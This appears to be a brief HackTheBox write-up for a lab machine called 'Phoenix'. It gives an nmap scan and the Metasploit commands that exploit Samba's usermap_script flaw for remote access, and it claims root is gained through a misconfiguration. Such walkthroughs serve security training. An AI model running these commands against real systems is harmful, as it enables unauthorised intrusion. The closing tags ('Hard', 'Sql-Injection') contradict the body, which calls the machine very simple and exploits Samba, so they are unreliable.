🧠 HTB - Phoenix

🔍 Enumeration

Initial scan:

nmap -sC -sV 10.10.10.3

📡 Services detected

-FTP -SSH

• Samba (⚠️ vulnerable)

💥 Exploitation

Vulnerability detected in Samba (usermap_script)

msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
run

✔️ Access achieved as a user

🔐 Privilege Escalation

No complex climbing necessary.

The system is misconfigured and allows direct root access.

🏁 Conclusion

Very simple machine:

• Ideal for beginners
• Introduces basic operating concepts
• Good first contact with HackTheBox

🏷️ Tags

• #HTB
• #Hard
• #Sql
• #Sql-Injection